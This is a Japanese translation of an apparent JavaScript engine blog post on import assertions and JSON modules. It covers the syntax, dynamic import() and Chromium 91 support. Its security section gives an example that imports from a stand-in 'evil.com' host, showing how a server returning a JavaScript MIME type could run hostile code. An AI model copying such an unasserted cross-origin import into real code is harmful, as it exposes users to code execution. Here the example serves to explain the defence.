メインコンテンツまでスキップ

インポートアサーション

· 約4分
Dan Clark ([@dandclark1](https://twitter.com/dandclark1)), インポートアサーションの主張者

新しいインポートアサーション機能により、モジュール指定子とともに追加の情報をインポート文に含めることができます。この機能の初期の用途として、JSON文書をJSONモジュールとしてインポート可能にすることがあります:

// foo.json
{ "answer": 42 }
// main.mjs
import json from './foo.json' assert { type: 'json' };
console.log(json.answer); // 42

背景: JSONモジュールとMIMEタイプ

自然に浮かぶ疑問は、JSONモジュールを次のように単純にインポートできない理由です:

import json from './foo.json';

WebプラットフォームはモジュールリソースのMIMEタイプを実行前に有効性を確認し、このMIMEタイプを使ってリソースをJSONとして扱うかJavaScriptモジュールとして扱うかを判断することも理論的には可能です。

しかし、MIMEタイプだけに依存することにはセキュリティ問題があります。

モジュールはクロスオリジンでインポート可能で、開発者は第三者ソースからJSONモジュールをインポートすることがあるかもしれません。適切にサニタイズされている限り、JSONをインポートすることでスクリプトが実行されることはないため、基本的に安全だと考えるかもしれません。

しかし、この場合でも第三者のスクリプトが実際に実行される可能性があります。予期せずJavaScript MIMEタイプと悪意のあるJavaScriptペイロードを返すサーバが輸入者のドメインでコードを実行することができるためです。

// JavaScript MIMEタイプ (例: `text/javascript`) を
// evil.comが返答した場合、JSを実行します!
import data from 'https://evil.com/data.json';

ファイル拡張子を使用してモジュールタイプを判別することはできません。なぜなら、ウェブ上ではコンテンツタイプの信頼できる指標ではないからです。そのため、インポートアサーションを用いて期待されるモジュールタイプを示し、この権限昇格の落とし穴を防ぎます。

開発者がJSONモジュールをインポートしたい場合は、それがJSONであることを指定するインポートアサーションを使用する必要があります。ネットワークから受け取ったMIMEタイプが期待されるタイプと一致しない場合、インポートは失敗します:

// evil.comが非JSON MIMEタイプで返答した場合は失敗します。
import data from 'https://evil.com/data.json' assert { type: 'json' };

動的import()

インポートアサーションは、動的import()に新しい2番目のパラメータとしても渡すことができます:

// foo.json
{ "answer": 42 }
// main.mjs
const jsonModule = await import('./foo.json', {
assert: { type: 'json' }
});
console.log(jsonModule.default.answer); // 42

JSONコンテンツはモジュールのデフォルトエクスポートであるため、import()から返されるオブジェクトのdefaultプロパティを通じて参照されます。

結論

現在、インポートアサーションの唯一の指定された用途はモジュールタイプの指定です。しかし、機能は任意のキー/値アサーションペアを許容するように設計されているため、将来、モジュールインポートを別の方法で制限することが有用になる場合に追加の用途が追加される可能性があります。

一方、新しいインポートアサーション構文を使用したJSONモジュールはChromium 91でデフォルトで利用可能です。CSSモジュールスクリプトもすぐに登場する予定で、同じモジュールタイプアサーション構文を使用します。

インポートアサーションのサポート